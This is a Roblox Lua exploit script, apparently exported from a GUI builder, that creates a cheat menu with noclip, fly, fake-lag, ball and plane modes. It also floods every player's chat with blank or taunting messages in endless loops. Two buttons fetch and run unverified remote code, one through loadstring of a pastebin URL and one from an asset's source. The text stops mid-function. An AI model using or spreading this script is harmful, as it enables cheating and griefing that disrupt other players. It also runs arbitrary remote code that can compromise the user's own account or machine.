G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["BackgroundTransparency"] = 0.2;
G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["Text"] = [[synapse x de buget executor]];
G2L["23"]["Position"] = UDim2.new(0.37435, 0, 0.4816, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_4()
local script = G2L["4"];
script.Parent.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Name = Instance.new("TextLabel")
local Credits = Instance.new("TextLabel")
local ball = Instance.new("TextButton")
local noclip = Instance.new("TextButton")
local fakelag = Instance.new("TextButton")
local plane = Instance.new("TextButton")
local destroychat = Instance.new("TextButton")
local sit = Instance.new("TextButton")
local fly = Instance.new("TextButton")
local tp = Instance.new("TextButton")
local message = Instance.new("TextButton")
local floatingpad = Instance.new("TextButton")
local r6 = Instance.new("TextButton")
local c00lgui = Instance.new("TextButton")
local rejoin = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215)
Frame.Size = UDim2.new(0, 417, 0, 280)
Name.Name = "Name"
Name.Parent = Frame
Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Name.Size = UDim2.new(0, 417, 0, 25)
Name.Font = Enum.Font.GothamBold
Name.Text = "1x1x1x1 Gui FE"
Name.TextColor3 = Color3.fromRGB(0, 0, 0)
Name.TextScaled = true
Name.TextSize = 14.000
Name.TextWrapped = true
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0)
Credits.Size = UDim2.new(0, 416, 0, 22)
Credits.Font = Enum.Font.GothamBold
Credits.Text = "By FishNoobAhh"
Credits.TextColor3 = Color3.fromRGB(0, 0, 0)
Credits.TextScaled = true
Credits.TextSize = 14.000
Credits.TextWrapped = true
ball.Name = "ball"
ball.Parent = Frame
ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0)
ball.Size = UDim2.new(0, 79, 0, 31)
ball.Font = Enum.Font.GothamBold
ball.Text = "become ball"
ball.TextColor3 = Color3.fromRGB(0, 0, 0)
ball.TextScaled = true
ball.TextSize = 14.000
ball.TextWrapped = true
noclip.Name = "noclip"
noclip.Parent = Frame
noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0)
noclip.Size = UDim2.new(0, 79, 0, 31)
noclip.Font = Enum.Font.GothamBold
noclip.Text = "noclip"
noclip.TextColor3 = Color3.fromRGB(0, 0, 0)
noclip.TextScaled = true
noclip.TextSize = 14.000
noclip.TextWrapped = true
fakelag.Name = "fakelag"
fakelag.Parent = Frame
fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0)
fakelag.Size = UDim2.new(0, 79, 0, 34)
fakelag.Font = Enum.Font.GothamBold
fakelag.Text = "fe fake lag"
fakelag.TextColor3 = Color3.fromRGB(0, 0, 0)
fakelag.TextScaled = true
fakelag.TextSize = 14.000
fakelag.TextWrapped = true
fakelag.MouseButton1Down:Connect(function()
while true do
game.Players.LocalPlayer.Character.Torso.Anchored = true
game.Players.LocalPlayer.Character.Humanoid.Jump = true
wait(0.1)
game.Players.LocalPlayer.Character.Torso.Anchored = false
game.Players.LocalPlayer.Character.Humanoid.Sit = true
wait(0.1)
end
end)
plane.Name = "plane"
plane.Parent = Frame
plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0)
plane.Size = UDim2.new(0, 83, 0, 31)
plane.Font = Enum.Font.GothamBold
plane.Text = "become a plane"
plane.TextColor3 = Color3.fromRGB(0, 0, 0)
plane.TextScaled = true
plane.TextSize = 14.000
plane.TextWrapped = true
destroychat.Name = "destroy chat"
destroychat.Parent = Frame
destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0)
destroychat.Size = UDim2.new(0, 83, 0, 31)
destroychat.Font = Enum.Font.GothamBold
destroychat.Text = "destroy chat fe (op warning)"
destroychat.TextColor3 = Color3.fromRGB(0, 0, 0)
destroychat.TextScaled = true
destroychat.TextSize = 14.000
destroychat.TextWrapped = true
destroychat.MouseButton1Down:Connect(function()
for i = 1, 4 do
local args = {
[1] = "\194\160\194\160",
[2] = "All"
}
game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args))
end
end)
sit.Name = "sit"
sit.Parent = Frame
sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0)
sit.Size = UDim2.new(0, 83, 0, 34)
sit.Font = Enum.Font.GothamBold
sit.Text = "sit"
sit.TextColor3 = Color3.fromRGB(0, 0, 0)
sit.TextScaled = true
sit.TextSize = 14.000
sit.TextWrapped = true
sit.MouseButton1Down:Connect(function()
local human = kevyn.Parent:findFirstChild("Humanoid")
if (human ~= nil)then
human.Sit=true
end
end)
fly.Name = "fly"
fly.Parent = Frame
fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0)
fly.Size = UDim2.new(0, 89, 0, 31)
fly.Font = Enum.Font.GothamBold
fly.Text = "fly"
fly.TextColor3 = Color3.fromRGB(0, 0, 0)
fly.TextScaled = true
fly.TextSize = 14.000
fly.TextWrapped = true
tp.Name = "tp"
tp.Parent = Frame
tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0)
tp.Size = UDim2.new(0, 89, 0, 31)
tp.Font = Enum.Font.GothamBold
tp.Text = "click to tp"
tp.TextColor3 = Color3.fromRGB(0, 0, 0)
tp.TextScaled = true
tp.TextSize = 14.000
tp.TextWrapped = true
message.Name = "message"
message.Parent = Frame
message.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0)
message.Size = UDim2.new(0, 89, 0, 34)
message.Font = Enum.Font.GothamBold
message.Text = "messages"
message.TextColor3 = Color3.fromRGB(0, 0, 0)
message.TextScaled = true
message.TextSize = 14.000
message.TextWrapped = true
message.MouseButton1Down:Connect(function()
while true do
wait(2)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL")
wait(2)
end
end)
floatingpad.Name = "floatingpad"
floatingpad.Parent = Frame
floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0)
floatingpad.Size = UDim2.new(0, 79, 0, 34)
floatingpad.Font = Enum.Font.GothamBold
floatingpad.Text = "floating pad (requires r6)"
floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0)
floatingpad.TextScaled = true
floatingpad.TextSize = 14.000
floatingpad.TextWrapped = true
r6.Name = "r6"
r6.Parent = Frame
r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0)
r6.Size = UDim2.new(0, 79, 0, 34)
r6.Font = Enum.Font.GothamBold
r6.Text = "r15 to r6"
r6.TextColor3 = Color3.fromRGB(0, 0, 0)
r6.TextScaled = true
r6.TextSize = 14.000
r6.TextWrapped = true
r6.MouseButton1Down:Connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))()
end)
c00lgui.Name = "c00lgui"
c00lgui.Parent = Frame
c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0)
c00lgui.Size = UDim2.new(0, 88, 0, 34)
c00lgui.Font = Enum.Font.GothamBold
c00lgui.Text = "fe c00lgui"
c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.TextScaled = true
c00lgui.TextSize = 14.000
c00lgui.TextWrapped = true
c00lgui.MouseButton1Down:Connect(function()
loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)()
end)
rejoin.Name = "rejoin"
rejoin.Parent = Frame
rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0)
rejoin.Size = UDim2.new(0, 79, 0, 34)
rejoin.Font = Enum.Font.GothamBold
rejoin.Text = "rejoin"
rejoin.TextColor3 = Color3.fromRGB(0, 0, 0)
rejoin.TextScaled = true
rejoin.TextSize = 14.000
rejoin.TextWrapped = true
rejoin.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local gamePlaceId = game.PlaceId
local teleportService = game:GetService("TeleportService")
teleportService:Teleport(gamePlaceId, player)
end)
-- Scripts:
local function WVDQ_fake_script() -- ball.LocalScript
local script = Instance.new('LocalScript', ball)
script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera
local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3
local character = game.Players.LocalPlayer.Character
for i,v in ipairs(character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
local ball = character.HumanoidRootPart
ball.Shape = Enum.PartType.Ball
ball.Size = Vector3.new(5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}
local tc = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
--ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0)
end)
UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(
0,
-((ball.Size.Y/2)+JUMP_GAP),
0
),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0)
end
end)
Camera.CameraSubject = ball
humanoid.Died:Connect(function() tc:Disconnect() end)
end)
end
coroutine.wrap(WVDQ_fake_script)()
local function UUBW_fake_script() -- noclip.LocalScript
local script = Instance.new('LocalScript', noclip)
local noClipEnabled = false
--Toggle noclipButton
script.parent.MouseButton1Click:Connect(function()
noClipEnabled = not noClipEnabled
script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF"
if noClipEnabled then
-- Enable Button
game:GetService("RunService").Stepped:Connect(function()
if noClipEnabled then
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide then
part.CanCollide = false
end
end
end
end)
else
--Disable noclipButton
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end)
end
coroutine.wrap(UUBW_fake_script)()
local function JLHA_fake_script() -- plane.LocalScript
local script = Instance.new('LocalScript', plane)
function click()
repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil;
wait(0.4)
for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do
if v ~= script then
v:Destroy()
end
end
local player = game:service("Players").LocalPlayer
local mouse = player:GetMouse()
local cam = workspace.CurrentCamera
local char = player.Character
local Torsoz = char:findFirstChild("Torso")
local NV = Vector3.new()
local Main
local W,S = false,false
local DoublePress = {nil,0}
script.Parent = char
local TrailParts = {}
local Acceleration = 0.08
local Speed = 0
local MinSpeed = 0
local MaxSpeed = 3.2
local DesiredDirection = cam.CoordinateFrame.lookVector
local Direction = DesiredDirection
local Roll = 0
local AllowTrails = true
script.Name = "AdvFlight"
local P = Instance.new("Part")
P.Anchored = true
P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.2,0.2,0.2)
P.Locked = true
P.TopSurface = 10
P.BottomSurface = 10
P.FrontSurface = 10
P.BackSurface = 10
P.LeftSurface = 10
P.RightSurface = 10
P.Material = "Pebble"
P.BrickColor = BrickColor.new("White")
local shipp
local shadow
local campart
function RAY(pos, dir, startpos, endpos, distleft, collidedlist)
collidedlist = collidedlist or {char}
startpos = startpos or pos
distleft = distleft or dir.unit * dir.magnitude
endpos = endpos or pos + distleft
local ray = Ray.new(pos, distleft)
local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist)
if hitz ~= nil then
if hitz.CanCollide == false then
table.insert(collidedlist, hitz)
local newpos = enz
local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude)
if newdistleft ~= NV then
return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist)
end
end
end
return hitz, enz, ray
end
function FindSurface(part, position)
local obj = part.CFrame:pointToObjectSpace(position)
local siz = part.Size/2
for i,v in pairs(Enum.NormalId:GetEnumItems()) do
local vec = Vector3.FromNormalId(v)
local wvec = part.CFrame:vectorToWorldSpace(vec)
local vz = (obj)/(siz*vec)
if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then
return wvec,vec
end
end
if part.className == "WedgePart" then
return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707)
end
end
function HSV(H,S,V)
H = H % 360
local C = V * S
local H2 = H/60
local X = C * (1 - math.abs((H2 %2) -1))
local color = Color3.new(0,0,0)
if H2 <= 0 then
color = Color3.new(C,0,0)
elseif 0 <= H2 and H2 <= 1 then
color = Color3.new(C,X,0)
elseif 1 <= H2 and H2 <= 2 then
color = Color3.new(X,C,0)
elseif 2 <= H2 and H2 <= 3 then
color = Color3.new(0,C,X)
elseif 3 <= H2 and H2 <= 4 then
color = Color3.new(0,X,C)
elseif 4 <= H2 and H2 <= 5 then
color = Color3.new(X,0,C)
elseif 5 <= H2 and H2 <= 6 then
color = Color3.new(C,0,X)
end
local m = V - C
return Color3.new(color.r + m, color.g + m, color.b + m)
end
function Build(shiptype)
AllowTrails = true
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Ship" then
v:remove()
end
end
for i, v in pairs(TrailParts) do
for _,V in pairs(v[3]) do
V:Destroy()
end
end
local mdl = Instance.new("Model", char)
mdl.Name = "Ship"
------------------------ Speeder Ship Type -----------------------------
if shiptype == "Speeder" then
shipp = P:Clone()
shipp.Parent = mdl
shipp.Size = Vector3.new(1,1,2.2)
local shipwing1 = P:Clone()
shipwing1.Parent = mdl
shipwing1.Size = Vector3.new(0.6,1.2,2)
local mesh = Instance.new("SpecialMesh", shipwing1)
mesh.MeshType = "Wedge"
local shipwing2 = shipwing1:Clone()
shipwing2.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwing21 = P:Clone()
shipwing21.Parent = mdl
shipwing21.Size = Vector3.new(0.32,1.1,2.6)
local mesh = Instance.new("SpecialMesh", shipwing21)
mesh.MeshType = "Wedge"
local shipwing22 = shipwing21:Clone()
shipwing22.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwi = P:Clone()
shipwi.Parent = mdl
shipwi.Size = Vector3.new(1,1,1.2)
local mesh = Instance.new("SpecialMesh", shipwi)
mesh.MeshType = "Wedge"
local shipwi2 = P:Clone()
shipwi2.Parent = mdl
shipwi2.Size = Vector3.new(0.7,0.7,0.84)
shipwi2.Material = "SmoothPlastic"
shipwi2.BrickColor = BrickColor.new("Pastel blue")
shipwi2.Reflectance = 0.6
local mesh = Instance.new("SpecialMesh", shipwi2)
mesh.MeshType = "Wedge"
shadow = P:Clone()
shadow.Parent = mdl
shadow.Name = "Shadow"
shadow.Material = "SmoothPlastic"
shadow.BrickColor = BrickColor.new("Really black")
local mesh = Instance.new("SpecialMesh",shadow)
mesh.MeshType = "Sphere"
TrailParts = {}
table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18})
table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
for _, V in pairs(TrailParts) do
for i = 1, V[7] do
local p = P:Clone()
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/asset/?id=9856898"
mesh.TextureId = "http://www.roblox.com/asset/?id=48358980"
p.BrickColor = BrickColor.new("Dark stone grey")
table.insert(V[3],p)
end
end
function ReposParts()
shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2)
shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2)
shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2)
shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2)
shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7)
shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015)
campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0)
end
cam.CameraSubject = campart
cam.CameraType = "Track"
shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p
ReposParts()
end
AllowTrails = true
end
Build("Speeder")
function B1D()
Build("Speeder")
end
function RollThatSht(direc)
if Roll == 0 then
for i = 1, 50 do
Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc
wait(0.02)
end
Roll = 0
end
end
function KD(key)
if key == "w" then
W = true
elseif key == "s" then
S = true
end
local rollpls = 0
if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then
DoublePress = {nil,0}
if key == "a" then
rollpls = -1
elseif key == "d" then
rollpls = 1
end
end
DoublePress = {key,tick()}
if rollpls ~= 0 then
RollThatSht(rollpls)
end
end
function KU(key)
if key == "w" then
W = false
elseif key == "s" then
S = false
end
end
function Equip()
end
function Unequip()
end
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(B1D)
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)
local count = 0
local hue = 0
--game:GetService("RunService").Stepped:connect(function()
while wait(0.02) do
------ Speed --------
local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration)
if W == true then
Speed = Speed + valu
elseif S == true then
Speed = Speed - valu
end
if Speed > MaxSpeed then
Speed = MaxSpeed
elseif Speed < MinSpeed then
Speed = MinSpeed
end
------ left/right tilt ---------
local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z)))
local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z)))
local swing = 0
if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then
swing = target-current
else
swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360)
end
DesiredDirection = cam.CoordinateFrame.lookVector
------ direction smoothening ------
local dir = DesiredDirection.unit
if Direction ~= dir then
if (Direction - dir).magnitude < 0.01 then
Direction = dir
else
local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10
Direction = (Direction + dist).unit
end
end
shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2))
ReposParts()
------ shadow ------
local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0))
local angles = CFrame.new()
if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then
local wvec,vec = FindSurface(ghitz,genz)
angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0)
elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then
angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0)
end
shadow.CFrame = CFrame.new(genz) * angles
shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5)
shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26)
------- Trails -----------------------
if AllowTrails == true then
count = (count+1)%1
hue = (hue+1) % 360
local rgb = HSV(hue,0.65,0.85)
for _,v in pairs(TrailParts) do
local to = (v[1].CFrame * v[5]).p
if Speed > MinSpeed + 0.2 then
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0)
v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6])
v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b)
v[3][v[2]].Transparency = 0.15
v[3][v[2]].Parent = game.Players.LocalPlayer.Character
else
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].Parent = nil
end
v[4] = to
end
end
end
--end)
-- 138098590 -- plane destroyed sound
-- 133082569 -- propeller 2
-- 135645246 -- propeller 1
--[[ Possible Game names
Aeroscape
Airbound
Aerialtude
]]
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(JLHA_fake_script)()
local function SSWSNG_fake_script() -- fly.LocalScript
local script = Instance.new('LocalScript', fly)
speeds = 1
local speaker = game:GetService("Players").LocalPlayer
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
nowe = false
script.parent.MouseButton1Down:connect(function()
if nowe == true then
nowe = false
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
else
nowe = true
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
game.Players.LocalPlayer.Character.Animate.Disabled = true
local Char = game.Players.LocalPlayer.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(0)
end
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
end
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
game:GetService("RunService").RenderStepped:Wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
